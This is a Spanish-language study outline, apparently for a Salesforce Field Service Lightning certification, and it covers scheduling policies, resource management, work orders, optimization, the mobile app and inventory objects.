      1. Franjas horarias que definen la disponibilidad en función de criterios específicos
        1. Horas de guardia en las que solo puede enviar trabajo de emergencia
        2. Reserva de capacidad para trabajos de altos ingresos como nuevas instalaciones
      2. Ayuda a definir qué tipo de trabajo se puede asignar durante turnos específicos
      3. Cree una regla de tiempo de trabajo designado y agréguela a la política de programación
      4. Si se utilizan (superpuestos) los turnos designados y las horas de funcionamiento, los turnos tendrán prioridad sobre las horas de funcionamiento.
    5. Horas de operación
      1. Las horas de funcionamiento indican cuándo su equipo puede realizar el trabajo de servicio de campo. Se pueden asignar a cuentas, territorios de servicio y miembros de territorios de servicio. Para agregar detalles a las horas de funcionamiento, cree intervalos de tiempo, que representan las horas de funcionamiento en un día en particular. Diagrama de horas de funcionamiento
    6. Consola de despacho
      1. La consola del despachador de Field Service es el espacio de trabajo principal para los despachadores. Cuenta con un mapa dinámico y un diagrama de Gantt altamente personalizable que muestra las próximas citas, los miembros activos del equipo y más.
    7. Programar sobre prioridad más baja
      1. Programe citas de servicio crítico en lugar de visitas menos urgentes. Cuando una acción de programación no puede encontrar un intervalo de tiempo disponible, se superpone a las citas de menor prioridad con los servicios que usted especifica como de alta prioridad.
    8. Disponibilidad de recursos
      1. El tipo de regla de trabajo Disponibilidad de recursos de servicio garantiza que un recurso de servicio esté disponible para realizar una cita de servicio. Puede programar descansos automáticamente, tener en cuenta el tiempo de viaje o configurar descansos breves entre citas de servicio. Toda política de programación necesita una regla de trabajo de este tipo, o las ausencias de recursos no se respetan durante la programación.
    9. Ausencia de recursos
      1. Cree ausencias de recursos para indicar cuándo un recurso de servicio no está disponible para trabajar. Durante la optimización de la programación, los recursos de servicio no se asignan a citas que entran en conflicto con sus ausencias.
    10. Disponibilidad basada en la capacidad
      1. Por lo general, los contratistas en el servicio de campo pueden trabajar una cantidad específica en un período determinado. Defina la capacidad de un recurso de servicio, para que no se sobrevendan durante la optimización del cronograma.
    11. Trabajo Designado
      1. A menudo, las empresas de servicios de campo reservan partes del día para tipos específicos de trabajo. El tipo de regla de trabajo TimeSlot Designated Work garantiza que si se reserva un intervalo de tiempo para un tipo específico de trabajo, solo se programarán citas de ese tipo en el intervalo de tiempo.
    12. polígonos
      1. Los polígonos facilitan la actualización masiva de todas las citas dentro de un área geográfica específica.
    13. Preferencias de recursos
      1. Designe ciertos recursos de servicio como preferidos, requeridos o excluidos en cuentas, activos, ubicaciones, órdenes de trabajo y partidas de órdenes de trabajo. Asegure un excelente servicio al cliente al hacer coincidir al mejor trabajador con el trabajo.
    14. Eficiencia de recursos
      1. Las personas trabajan a diferentes ritmos dependiendo de sus habilidades y nivel de experiencia. Asigne una puntuación de eficiencia a los recursos de servicio para facilitar la programación. Los puntajes se consideran durante la programación y pueden afectar la hora de finalización programada de una cita.
    15. Órdenes de trabajo
      1. Las órdenes de trabajo representan el trabajo que debe completarse para sus clientes y son fundamentales para las operaciones de servicio de campo en Salesforce. Para dividir aún más el trabajo con fines de facturación o para realizar un seguimiento de las subtareas, agregue elementos de línea de órdenes de trabajo, que son registros secundarios de las órdenes de trabajo.
      2. Las órdenes de trabajo ofrecen una gran flexibilidad. Se pueden asociar con muchos tipos de registros, incluidos:
        1. Activos, para realizar un seguimiento del trabajo realizado en un activo específico
        2. Casos, para indicar que el trabajo se está realizando como parte de un caso de cliente
        3. Cuentas y contactos que representan al cliente
        4. Derechos y contratos de servicio para indicar que el trabajo se está realizando para cumplir con un acuerdo de nivel de servicio Diagrama de cita de servicio
  3. Gestión de recursos: 16%
    1. Familiarícese con la configuración y gestión de equipos .
      1. Un equipo de servicio es un grupo de recursos de servicio cuyas habilidades y experiencia combinadas los hacen ideales para trabajar juntos en las citas. Por ejemplo, un equipo de reparación de bocas de pozo podría incluir un hidrólogo, un ingeniero mecánico y un electricista.
      2. Se requieren permisos para crear equipos de servicio mediante la herramienta de administración de personal
        1. Crear en equipos de servicio
        2. Crear en recursos de servicio
        3. Editar en territorios de servicio
      3. Conjuntos de permisos necesarios para acceder a la herramienta de gestión de personal
        1. Permisos de administrador de FSL
        2. Permisos de despachador de FSL
      4. Comprender cómo limitar el acceso a los registros de servicio de campo
    2. Comprenda cómo y cuándo configurar diferentes tipos de recursos .
        1. Los recursos de servicio son usuarios individuales o grupos de usuarios, conocidos como equipos de servicio, que pueden realizar trabajo de servicio de campo. Cree recursos de servicio para poder asignarles citas de servicio.
          Modelo de datos básicos de Field Service
        2. Las habilidades son áreas de especialización, certificaciones o cualificaciones.
        3. Los recursos poseen habilidades en diferentes competencias.
        4. El trabajo puede requerir habilidades
    3. Nombre y defina los roles en una organización de servicio de campo.
      Role Descripción
      Administrador Configura funciones de servicio de campo de acuerdo con sus necesidades comerciales únicas. La configuración incluye la instalación del paquete administrado de Field Service y la aplicación móvil de Field Service.
      Agente Toma llamadas de servicio al cliente y solicita citas de servicio de campo a través de órdenes de trabajo, que enumeran las habilidades y las piezas que se necesitan.
      Despachador Asigna y gestiona las citas de servicio. La consola del despachador incluida en el paquete administrado ayuda a los despachadores a programar, optimizar y despachar citas de servicio desde una sola pantalla.
      Trabajador móvil o técnico Gestiona sus citas de servicio. Sus tareas incluyen cerrar órdenes de trabajo, rastrear piezas usadas y proporcionar informes de servicio.
    4. Características principales de Field Service Lightning
      Rasgo Descripción
      Territorios de servicio Regiones donde se realiza el trabajo de servicio de campo
      Horas de funcionamiento Momentos en los que se puede realizar trabajo de servicio de campo para territorios de servicio, recursos de servicio y cuentas de clientes. Las horas de funcionamiento se componen de intervalos de tiempo: un período de tiempo dentro de un día en el que se puede completar el trabajo de servicio de campo.
      Recursos de servicio Empleados móviles que pueden realizar trabajo de servicio de campo
      Tripulaciones de servicio Equipos de recursos de servicio que se asignan a citas de servicio como una unidad.
      Habilidades Habilidades requeridas para realizar tareas de servicio de campo.
      Hojas de horas Herramientas para realizar un seguimiento del tiempo que sus empleados de servicio de campo dedican a las tareas
      Tipos de trabajo Plantillas para trabajos de servicio de campo comunes, como instalaciones de cables o reparaciones de hornos
      Órdenes de trabajo Solicitudes de trabajo de servicio de campo
      Citas de servicio Citas para el trabajo de servicio de campo
      Planes de Mantenimiento Planes que lo ayudan a realizar un seguimiento del trabajo de mantenimiento preventivo mediante órdenes de trabajo generadas automáticamente
      Artículos del producto Piezas para servicios que se pueden solicitar, requerir, transferir y consumir en el trabajo de servicio de campo
      Solicitudes de productos Solicitudes de una parte o partes
      Transferencias de productos Transferencias de inventario entre ubicaciones.
      Órdenes de devolución Registros de devoluciones de inventario o reparaciones.
      Plantillas de informes de servicio Plantillas para informes orientados al cliente que resumen el estado de las citas de servicio y las órdenes de trabajo
    5. Field Service tiene tres partes principales que funcionan juntas para brindarle una solución completa de administración de servicios de campo.
        1. Las funciones principales de Field Service incluyen consolas de servicio y despachador
        2. Programación y optimización desde un paquete gestionado
        3. Una aplicación móvil para su fuerza de trabajo móvil
    6. La siguiente tabla desglosa quién puede hacer qué con las tres partes de Field Service.
      Servicio de campo principal Paquete administrado de servicio de campo Aplicación móvil de servicio de campo
      Cuando habilita Field Service en su organización, los administradores y agentes pueden:

      • Establezca horarios de atención, conjuntos de habilidades y requisitos de citas estándar únicos para su organización
      • Habilite la aplicación Salesforce para brindar acceso móvil a su fuerza de trabajo móvil
      • Realice un seguimiento del inventario y del stock de la camioneta para que su fuerza de trabajo móvil tenga lo que necesita cuando está en el sitio de un cliente
      • Informar y analizar datos de servicio de campo
      • Planifique, realice y realice un seguimiento de todo su trabajo de servicio de campo, desde instalaciones hasta reparaciones y mantenimiento.
      Cuando se instala el paquete administrado, los despachadores pueden:

      • Optimice el horario de acuerdo con las políticas de programación de su organización
      • Obtenga una vista panorámica de las listas de citas, las acciones de programación, un gráfico de disponibilidad de recursos y un mapa interactivo en la consola del despachador
      • Integre y mantenga políticas de programación, acciones globales, herramientas para compartir y reglas de optimización con la aplicación de administración
      La aplicación móvil de Field Service está disponible de forma gratuita en App Store y Google Play. Los trabajadores móviles que utilizan la aplicación pueden:

      • Ver su horario de citas
      • Use los datos de Salesforce para verificar órdenes de trabajo, llegar a contactos y verificar direcciones
      • Cree y edite registros para registrar el trabajo y crear citas de seguimiento
      • Use Chatter para colaborar con otros trabajadores móviles, gerentes y despachadores
      • Seguimiento de actualizaciones con notificaciones push
      • Ver artículos de Knowledge para completar tareas complicadas
      • Realice un seguimiento de las existencias de furgonetas y el inventario consumido para completar los trabajos
    7. Comprender el conjunto de permisos de relámpagos del servicio de campo y su propósito.
      ROL DEL USUARIO CONJUNTOS DE PERMISOS CREADOS OBJETIVO
      Administrador de servicio de campo Permisos de administrador de FSL Y licencia de administrador de servicio de campo* Permita que los usuarios accedan y administren todos los objetos de Field Service, incluidas las páginas de Field Service Visualforce y los servicios lógicos. Los permisos de administrador de FSL contienen los permisos incluidos en el conjunto de permisos de permisos de despachador de FSL, junto con permisos de configuración adicionales.

      *La licencia de administrador de Field Service no se crea en las organizaciones de Salesforce más nuevas.

      Agente de servicio de campo Permisos de agente de FSL Y licencia de agente de servicio de campo* Los permisos de agente de FSL proporcionan los permisos mínimos necesarios para usar las acciones globales de Field Service, como reservar cita, obtener candidatos y acciones de emergencia.

      *La licencia de agente de servicio de campo no se crea en las organizaciones de Salesforce más nuevas.

      Recurso de servicio de campo Field Service Mobile License Y Field Service Scheduling License Y FSL Resource Permisos Field Service Mobile License proporciona la licencia de conjunto de permisos necesaria para que los usuarios inicien sesión en la aplicación móvil de Field Service.

      Field Service Scheduling License proporciona la licencia de conjunto de permisos necesaria para que el usuario aparezca en el Gantt y el motor de programación y el optimizador lo programen.

      Los permisos de recursos de FSL proporcionan los permisos mínimos necesarios para que los usuarios actualicen el estado de la cita y actualicen su última ubicación conocida.

      Despachador de servicio de campo Licencia de despachador de servicio de campo Y permisos de despachador de FSL La licencia de despachador de servicio de campo brinda a los usuarios la licencia de conjunto de permisos necesaria para cargar la consola del despachador.

      Los permisos de despachador de FSL contienen los permisos incluidos en los permisos de agente de FSL y los permisos de recursos de FSL junto con los permisos para operar la consola del despachador y ejecutar la optimización.

      Despachador comunitario de servicio de campo Licencia de despachador comunitario de servicio de campo Y permisos de despachador comunitario de FSL Los usuarios pueden ver y utilizar la consola del despachador, ver acciones globales y sus objetos relacionados, y programar, optimizar y despachar citas de servicio.
      Servicio de campo Autoservicio Licencia de autoservicio de Field Service Y permisos de autoservicio de FSL Los usuarios del sitio de Experience Builder pueden ver todas las acciones globales y sus objetos relacionados para crear, reservar y programar sus citas.
      Integración de servicios de campo Integración de servicios de campo Los usuarios pueden acceder a los datos necesarios para la optimización, la programación automática y la agrupación de citas de servicio.
      Paquete de servicio de campo para despachador Paquete de servicio de campo para licencia de despachador Y paquete FSL para permisos de despachador Los usuarios pueden programar y administrar citas de servicio agrupadas.
    8. Partes importantes de la aplicación de servicio de campo
        1. La aplicación Field Service Admin permite a los administradores personalizar el paquete administrado, administrar la programación y la optimización, y usar la consola del despachador.
        2. La aplicación Field Service permite a los despachadores hacer lo que mejor saben hacer: ¡ver y administrar un cronograma de servicio hermético!
        3. La pestaña Servicio de campo conduce a la consola del despachador, donde puede administrar el horario de servicio de su equipo.
        4. La pestaña Configuración de Field Service es donde personaliza la configuración del paquete administrado y accede a la herramienta Configuración guiada. (La configuración de Salesforce incluye una página de configuración de Field Service independiente cuya configuración no está relacionada con el paquete administrado).
    9. Dedique tiempo a comprender las diferentes opciones de configuración disponibles para Field Service
    10. Después de crear sus conjuntos de permisos de servicio de campo, otorgue a los usuarios los permisos que necesitan para completar sus tareas de servicio de campo. Puede asignar permisos en Configuración o Configuración guiada. Consulte este artículo de ayuda para comprender los diferentes conjuntos de permisos y cómo asignarlos mediante una configuración guiada.
    11. Crear recursos de servicio para Field Service
    12. Crear y administrar equipos de servicio
      1. Consideraciones para programar equipos de servicio
      2. La programación basada en la capacidad no se admite para los equipos de servicio porque un recurso de servicio de tipo Equipo no puede basarse en la capacidad.
      3. Las órdenes de trabajo, las partidas de órdenes de trabajo y los tipos de trabajo vienen con un tamaño de equipo mínimo y un tamaño de equipo recomendado. Por ejemplo, una cuadrilla puede tener un tamaño recomendado de 3 pero un tamaño mínimo de 2. Las órdenes de trabajo y las partidas de órdenes de trabajo heredan la configuración de tamaño de cuadrilla de su tipo de trabajo.
    13. Campos de habilidades para Field Service
    14. Agregar habilidades requeridas a órdenes de trabajo o tipos de trabajo para Field Service
    15. Crear habilidades para el servicio de campo
    16. Directrices para crear territorios de servicio para Field Service
      1. Un territorio de servicio representa una región en la que se puede realizar el servicio de campo.
      2. Cree territorios de servicio para realizar un seguimiento del trabajo de servicio de campo y garantizar que los recursos se asignen a las citas de servicio cerca de su base de operaciones. Modelo de datos de territorio de servicio
    17. Directrices para la creación de horas de trabajo para Field Service
      1. Las horas de funcionamiento definen cuándo están disponibles los recursos de servicio y cuándo se puede realizar el trabajo en los territorios de servicio.
      2. Defina las horas de funcionamiento y asígnelas a territorios de servicio, miembros de territorios de servicio o cuentas para indicar sus horas de servicio de campo.
      3. Ventanas de reserva basadas en derechos (es decir, 2 horas frente a 4 horas).
      4. Cuando las cuentas pueden ser atendidas, generalmente se usan para restringir las horas de visita.
    18. Empezar con las hojas de tiempo
      1. Los usuarios pueden ver hasta 100 hojas de horas pasadas sin conexión en sus dispositivos móviles.
      2. El primer campo en Detalles de la hoja de tiempo se muestra como encabezado. Se pueden mostrar tres campos más como detalles debajo del encabezado.
      3. Crear plantillas de hojas de tiempo
      4. TimeSheetEntry
        1. Representa un lapso de tiempo que un recurso de servicio dedica a una tarea de servicio de campo.
        2. Los partes de horas se componen de entradas de parte de horas. Las entradas de la hoja de horas generalmente rastrean tareas individuales como viajes o reparación de activos.
        3. TimeSheetEntry se puede asociar con WO y WOLI.
    19. Tipos de licencia Lightning de Salesforce Field Service
  4. Gestión de órdenes de trabajo: 23%
    1. Una orden de trabajo representa el trabajo que se realizará en los productos de sus clientes.
      1. Adjunte artículos de conocimiento a WO y WOLI para que los técnicos puedan acceder rápidamente a las especificaciones del producto, instrucciones y más.
      2. Las órdenes de trabajo secundarias son órdenes de trabajo separadas. Están relacionados entre sí en la jerarquía de registros principales y secundarios relacionados.
    2. Un elemento de línea de orden de trabajo (WOLI) representa una tarea específica que un técnico debe realizar para completar la orden de trabajo.
      1. Se pueden marcar como completados uno por uno y cada uno puede tener su propia cita de servicio activa.
      2. Los detalles de precios, como los descuentos y el precio unitario, se establecen en el nivel de artículo de línea.
    3. U tilice la regla de correspondencia para garantizar que las citas se asignen a los recursos de servicio con las habilidades requeridas.
    4. Comprender cómo interactúan las órdenes de trabajo y las citas de servicio
      Citas de servicio Órdenes de trabajo y partidas de órdenes de trabajo
      Programar detalles como el tiempo
      limitaciones, tiempos programados y
      tiempos reales.
      Le permite ingresar información general
      sobre una tarea.
      Los detalles de la asignación especifican el
      Servicio Recurso que realizará
      el trabajo de campo.
      Están optimizados por FSL para ser utilizados como
      los registros principales de Servicio
      Equipo.
      Tener un registro de padres. Proporcionar capacidades importantes,
      como las relaciones con los libros de precios
      y conocimiento de la fuerza de ventas.
    5. Vincule una orden de trabajo al activo para que pueda rastrear fácilmente el trabajo.
    6. Un tipo de trabajo es una plantilla de orden de trabajo que ahorra tiempo y trabajo de servicio de campo estandarizado.
      1. Cuando agrega una habilidad requerida a un tipo de trabajo, las órdenes de trabajo y los elementos de línea que usan ese tipo de trabajo heredarán automáticamente la habilidad requerida.
    7. Pautas para crear órdenes de trabajo para Field Service
    8. Agregar preferencias de recursos de servicio a cuentas u órdenes de trabajo para Field Service
    9. Rastree el inventario requerido
    10. Permita que los usuarios creen elementos de línea de orden de trabajo desde la aplicación móvil de Field Service
    11. Configurar hitos
  5. Gestión de Programación y Optimización: 28%
    1. Field Service conecta su fuerza laboral, productos y clientes en una plataforma para brindar un servicio excepcional en el sitio. El paquete administrado potencia a su equipo de servicio de campo con más funciones excelentes. La consola del despachador permite a los despachadores ver listas de citas, acciones de programación, un gráfico de disponibilidad de trabajadores móviles y un mapa interactivo en un solo lugar. Una herramienta de configuración guiada ayuda a los administradores a integrar y mantener políticas de programación, acciones globales, herramientas para compartir y reglas de optimización.
    2. Comprender los factores a equilibrar al hacer un cronograma
      Preguntas Prioridades Factores a equilibrar
      ¿Cuánto pueden gastar los representantes de servicio de campo en tiempo de viaje?
      • Servir a un gran territorio.
      • Realizar tantos trabajos como sea posible cada día.
      • Minimice el tiempo de viaje entre citas.
      • Los clientes remotos deben esperar más tiempo para que lleguen los trabajadores móviles.
      • Los tiempos de viaje largos cuestan más.
      ¿Cómo puede su empresa conseguir el trabajador móvil adecuado para cada trabajo?
      • Los clientes pueden solicitar el mismo trabajador móvil (como querer siempre la misma enfermera para el cuidado de la salud en el hogar).
      • Los clientes pueden solicitar no trabajar con un determinado trabajador móvil.
      • Los trabajadores móviles no están disponibles todo el tiempo.
      ¿Qué nivel de habilidad se necesita para el trabajo?
      • Asegúrese de que la recomendación de servicio pueda hacer bien el trabajo.
      • Los trabajadores móviles tienen diferentes habilidades y diferentes niveles de habilidad.
      ¿Qué sucede cuando las cosas cambian?
      • Los trabajos se agotan, el tráfico lo ralentiza, las piezas se rompen, los trabajadores móviles se enferman y mucho más.
      • Programación por adelantado versus programación durante el día.
    3. Cada política de programación se compone de reglas de trabajo y objetivos de servicio.
      1. Las reglas de trabajo determinan qué candidatos pueden completar el trabajo. ¿Los candidatos tienen las habilidades requeridas? ¿Están disponibles en el territorio adecuado en el momento adecuado? Este tipo de preguntas eliminan a los candidatos no calificados.
      2. Cuando tiene una lista de candidatos calificados, los objetivos de servicio usan sus prioridades comerciales para elegir al mejor candidato para el trabajo. Por ejemplo, si su principal prioridad es minimizar los viajes, el candidato calificado más cercano al lugar de trabajo es la mejor opción.
    4. Aquí hay una lista de objetivos de servicio que proporciona el paquete administrado. Al igual que con las reglas de trabajo, puede crear objetivos de servicio cuando los necesite.
      Objetivo del servicio Cómo se usa Ejemplo
      lo antes posible Mide qué tan pronto se puede programar la cita. ASAP es complicado, ya que puede contradecir otros objetivos. Por ejemplo, programar una cita lo antes posible puede generar más tiempo de viaje. Si el servicio rápido es una consideración importante, asigne un peso alto. Si una cita se programa en el momento más temprano posible (lo más cercano al inicio más temprano permitido o al inicio de la ventana de llegada), obtiene una puntuación perfecta de 100. Si se programa en el último espacio antes de la fecha de vencimiento o al final de la ventana de llegada, obtiene una puntuación de 0.
      Minimizar las horas extraordinarias Mide el uso de las horas extraordinarias necesarias para una cita de servicio. Favorece las franjas horarias que requieren menos tiempo extra. Si reducir los costos de horas extras es una consideración importante, asigne un peso alto. Para una cita de una hora:

      • Si está programado completamente en tiempo extra, la puntuación es 0.
      • Si la mitad del tiempo programado es tiempo extra, su puntaje es 50.
      • Si ninguno de los tiempos programados es tiempo extra, su puntaje es 100.
      Minimizar viajes Mide el tiempo de viaje requerido para una cita de servicio. Favorece la franja horaria que requiere el menor tiempo de viaje. Si reducir los costos de viaje, como el kilometraje, la gasolina y los costos de servicio, es una consideración importante, asigne un peso alto. En las operaciones de optimización (optimización global, optimización de programación de recursos, optimización en el día y la acción Reorganizar), se supone que el tiempo de viaje es de 0 a 120 minutos.

      • Para una opción con un tiempo de viaje de 120 minutos o más, la puntuación es 0.
      • Para una opción con un tiempo de viaje de 60 minutos, la puntuación es de 50.

      En las operaciones de programación que no son de optimización, como las acciones Reservar cita, Candidatos, Programar, Completar programa y Agrupar citas cercanas, la puntuación se basa en los tiempos de viaje disponibles. El viaje se calcula linealmente entre el viaje más cercano y el más lejano. Para una cita con tres opciones de programación, así es como se califican las opciones.

      • Programar después una cita en el mismo sitio. El tiempo de viaje es de 0 minutos, la puntuación es de 100.
      • Programar después de una cita en una ciudad vecina. El tiempo de viaje es de 60 minutos y, dado que ese es el tiempo de viaje potencial máximo de la cita, la puntuación es 0.
      • Programe después de una cita en un sitio ubicado a 30 minutos. Debido a que está en el medio de las opciones anteriores, el puntaje es 50.
      Recurso preferido Mide si se da una cita al trabajador móvil preferido. Si es importante que aparezca el trabajador móvil preferido, asigne un peso alto. Si es fundamental que cierto trabajador se presente o se mantenga alejado, use las reglas de trabajo Servicios requeridos o Servicios excluidos. Si se asigna una cita al trabajador móvil preferido, la puntuación es 100. Si no es así, la puntuación es 0.
      Prioridad de recursos Clasifica las citas según la prioridad del trabajador móvil asignado. Un trabajador móvil con un valor de 1 tiene la calificación más alta. Los números más grandes indican que el trabajador móvil tiene una puntuación más baja.
      Nivel de habilidad Mide qué tan bien se adhiere un trabajador al requisito de habilidad de una orden de trabajo. Especifique si favorecerá al trabajador móvil menos o más calificado. Use esta opción para asignar a sus trabajadores más calificados a tareas complicadas o cuentas de alta prioridad. Si elige el nivel de habilidad menos calificado, gana el candidato con el puntaje aceptable más bajo para la habilidad. Digamos que un nivel de habilidad de instalación aceptable es 5. Un trabajador móvil con una habilidad de instalación de 6 obtiene una puntuación más alta que un trabajador con una habilidad de instalación de 8. El más calificado es lo contrario. El candidato con la habilidad de instalación de 8 obtiene la puntuación más alta. Si hay varios niveles de habilidad, la puntuación se calcula con la calificación promedio de cada nivel de habilidad.
    5. Las políticas de programación se basan en escenarios específicos. El planificador usa estos escenarios para crear el mejor horario. Pero los escenarios varían dependiendo de cómo se desarrolle el día. Tomemos el escenario de un día ideal. Programó sus citas automáticamente y no muchas de ellas se movieron durante el día. Su política de programación estándar lo ayuda a pasar muy bien.
      política Diseñado para… úsalo
      El cliente primero Equilibre un excelente servicio al cliente con la minimización de viajes. Las citas se califican primero según la selección del cliente de un trabajador o recurso móvil preferido, luego según la capacidad de programar una cita lo antes posible. La siguiente prioridad es la minimización de los viajes. Puede ajustar esta política diaria si, por ejemplo, prioriza la minimización de viajes sobre la llegada lo antes posible. Durante un día normal.
      Alta intensidad Haga que los trabajadores móviles completen tantas citas como sea posible. Esta política califica las citas primero minimizando los viajes y luego programando las citas lo antes posible. Durante períodos de altos volúmenes de servicio, como un escenario de tormenta, donde la productividad de los empleados es su principal prioridad.
      Límites suaves Equilibre un excelente servicio al cliente con la minimización de viajes, como la política Customer First. Pero esta política también permite que los trabajadores móviles compartan su tiempo entre territorios para una mejor cobertura del servicio. Cuando desee que los trabajadores móviles cubran territorios cercanos, como en áreas urbanas con territorios geográficos pequeños.
      Emergencia Se puede usar con la acción Emergency Chatter para despachar citas de servicio de emergencia. Para situaciones de emergencia, como que alguien se quede atrapado en un ascensor durante un corte de energía.
    6. Las políticas de programación automatizan la programación para ayudarlo a crear su programación diaria de forma rápida y sencilla. Pero los horarios cambian, y es el trabajo del despachador asegurarse de que todo funcione sin problemas. Eso significa que a veces el despachador debe reasignar citas manualmente.
      Operación Que hace Cómo usarlo
      Calendario Si aún no se programó una cita, agréguela al mejor espacio en el Gantt. En la lista de citas o en el mapa, seleccione una o más citas y haga clic en Programar .
      Reprogramar Si el horario cambia y el intervalo de tiempo actual no se puede usar para una cita de servicio, use Reprogramar para buscar el siguiente mejor horario. En el Gantt, haga clic con el botón derecho en la cita y elija Reprogramar .
      Obtener candidato Vea una lista de candidatos clasificados que pueden realizar el trabajo. Elija el candidato y la franja horaria con la puntuación más alta. En el Gantt, haga clic con el botón derecho en la cita y elija Obtener candidatos . En la lista de citas, haga clic en la cita y seleccione Candidatos .
      Reserva de cita Ver una lista de intervalos de tiempo clasificados. Elige la franja horaria que más te convenga. En la orden de trabajo o cita de servicio, haga clic en las noticias en tiempo real de Chatter y elija Reservar cita . Si la reserva de citas está configurada en su sitio de Salesforce Experience, los clientes pueden reservar sus propias citas allí.

      El administrador también puede agregar Reservar cita como una acción global a otros lugares.

      Programación de emergencia Realice el trabajo lo más rápido posible. La programación de emergencia utiliza tráfico en tiempo real y su propia política de programación. La política de emergencia permite que los candidatos viajen desde otros territorios y permite que las citas se superpongan. En el Gantt, haga doble clic en la cita, haga clic en las noticias en tiempo real de Chatter y elija Emergencia . Elija enviar al trabajador móvil lo antes posible o después de que complete su cita de servicio actual.
    7. El programador califica los intervalos de tiempo utilizando los objetivos de servicio ponderados establecidos en su política de programación. Las calificaciones de los intervalos de tiempo son las siguientes.
      1. Ideal o Dorado . Estas franjas horarias tienen la calificación más alta. Si puedes, selecciona uno de estos.
      2. Recomendado Estos intervalos de tiempo también tienen una calificación bastante alta. Seleccione si las franjas horarias ideales no funcionan para usted.
      3. Satisfactorio Si bien estos intervalos de tiempo cumplen con los requisitos mínimos, no son la mejor opción, pero hacen el trabajo.
      1. La construcción manual de un programa de servicio de campo eficiente puede volver loco incluso al administrador más sereno. La herramienta de optimización de Field Service hace el trabajo por usted al generar un cronograma óptimo de acuerdo con sus prioridades y limitaciones.
      2. Defina el alcance de la optimización para incluir el cronograma de un territorio de servicio completo o solo el cronograma de un solo recurso.
        • Optimización global : optimice la programación de su equipo para uno o más territorios de servicio en un rango específico de días. Puede configurar este tipo de optimización para que se ejecute regularmente, por ejemplo, todas las noches. O bien, puede ejecutarlo manualmente según sea necesario. La optimización global es el tipo de optimización más completo y eficaz y, por lo tanto, requiere más tiempo para completarse.
        • Optimización en el día : navegue por los problemas de programación de última hora optimizando rápidamente la programación de su equipo para uno o más territorios de servicio el día del servicio.
        • Optimización de recursos : optimice la programación de un recurso de servicio individual el día del servicio.
  6. Configuración de Movilidad: 10%
    1. La aplicación móvil de Field Service para Android e iOS es una herramienta todo en uno para trabajadores móviles en movimiento. Esta experiencia móvil de clase empresarial aprovecha Salesforce en un diseño liviano optimizado para una fuerza de trabajo móvil moderna. La capacidad sin conexión significa que los usuarios pueden seguir trabajando sin conexión a Internet y saber que todos sus cambios se guardan. Y la aplicación es altamente personalizable, lo que le permite adaptarla a sus necesidades únicas de servicio de campo.
    2. Características principales de la aplicación móvil FSL
      Rasgo Descripción
      Capacidad fuera de línea La aplicación funciona sin conexión, por lo que los trabajadores móviles pueden completar su trabajo incluso con conectividad de red limitada o nula.
      Notificaciones push Las notificaciones automáticas ayudan a su fuerza laboral móvil a mantenerse actualizada, asegurándose de que nunca se pierdan un evento importante.
      Marca personalizada Marca la aplicación para darle la apariencia de tu empresa.
      Diseños configurables Los diseños flexibles le permiten elegir qué información de registro mostrar a sus usuarios.
      Acciones configurables Configure acciones rápidas para ayudar a los usuarios a completar rápidamente tareas comunes, pasar datos de registro a otras aplicaciones y crear flujos para guiar a su equipo a través de la recopilación de información y la finalización de trabajos.
      Charla Comuníquese con despachadores, socios y clientes usando Chatter.
      Acceso de usuario del sitio Ofrezca a los miembros de su sitio de Experience Builder, como contratistas, acceso personalizado a su operación de servicio de campo.
      Seguimiento de geolocalización Controle los recursos del servicio y habilite una programación más inteligente con el seguimiento de geolocalización de recursos.
      Informes de servicio Cree informes de servicio con vista previa que resuman las visitas de servicio de campo. Selle el trato capturando las firmas de los clientes en los informes.
      Integración de conocimientos de Salesforce Adjunte especificaciones, instrucciones y prácticas recomendadas a las órdenes de trabajo y las líneas de pedido de las órdenes de trabajo para mantener la información relevante al alcance de la mano de su equipo.
      Pantalla de descripción general de la orden de trabajo Ayude a su equipo a encontrar rápidamente la información que necesitan para completar las tareas. La pantalla de descripción general de la orden de trabajo muestra información sobre las citas de servicio, las partidas, el historial de activos y más de una orden de trabajo.
      Encuentra trabajo cercano Ayude a su equipo a encontrar otras órdenes de trabajo en la misma ubicación para que puedan ocuparse de los trabajos cercanos.
      Pestaña de inventario Deje que su equipo administre el seguimiento del consumo, solicite productos y vea su inventario desde la aplicación.
      Asistente de citas Proporcione a los clientes un seguimiento temporal y en vivo de los trabajadores móviles de Salesforce Field Service.
    3. Prepárese para la aplicación móvil FSL
      1. Instale el paquete de servicio de campo móvil ( Configuración de la aplicación conectada y notificaciones automáticas)
      2. Proporcione a los técnicos acceso a la aplicación con licencias y permisos (licencias Field Service Mobile y Standard)
      3. Proporcione a los técnicos acceso a datos, objetos y campos.
      4. Asociar un registro de recurso de servicio con el usuario de Salesforce del técnico (el recurso de servicio debe estar "activo")
      5. Marca la aplicación móvil Field Service
      6. Diferentes opciones para personalizar la aplicación Field Service Mobile
    4. Los técnicos pueden ver la asignación en sus dispositivos móviles.
    5. La aplicación móvil admite acciones rápidas de Crear registro y Actualizar registro.
    6. Las acciones de Visualforce, Componente Lightning y Anulación personalizada no son compatibles.
    7. Consideraciones sobre la aplicación móvil de Field Service
    8. Capture las firmas de los clientes en los informes de servicio con un flujo
    9. Directrices para el uso de firmas en los informes de servicio
  7. Manejo de Inventario: 8%
    1. Utilice los objetos de inventario de Field Service para realizar un seguimiento del almacenamiento, la solicitud, el consumo, la devolución y el retiro de artículos en su inventario.
    2. La gestión de inventario comienza con los artículos de productos, que representan las existencias de un producto en particular en una ubicación en particular. Cada artículo de producto está asociado con un producto y una ubicación en Salesforce.

      Diagrama de elementos del producto

      Diagrama de elementos del producto

    3. El inventario se puede almacenar allí si se selecciona la opción Ubicación del inventario en una ubicación. Los artículos de productos solo se pueden asociar con ubicaciones de inventario.
    4. Puede vincular una ubicación a múltiples cuentas y territorios de servicio. Por ejemplo, si una ubicación es un centro comercial, puede elegir asociarla con cada cuenta que opere una tienda en el centro comercial. También puede crear direcciones para una ubicación, como una dirección postal y una dirección particular. Y para realizar un seguimiento de los sitios de los clientes, cree ubicaciones asociadas, que contienen búsquedas de una cuenta y una ubicación. Diagrama de ubicación
    5. Si se necesita un producto en particular para completar un trabajo de servicio de campo, agregue los productos necesarios para garantizar que los recursos de servicio asignados lleguen preparados. Los productos requeridos pueden ser registros secundarios de órdenes de trabajo, partidas de órdenes de trabajo y tipos de trabajo. La orden de trabajo y los elementos de línea de la orden de trabajo heredan los productos requeridos de su tipo de trabajo.
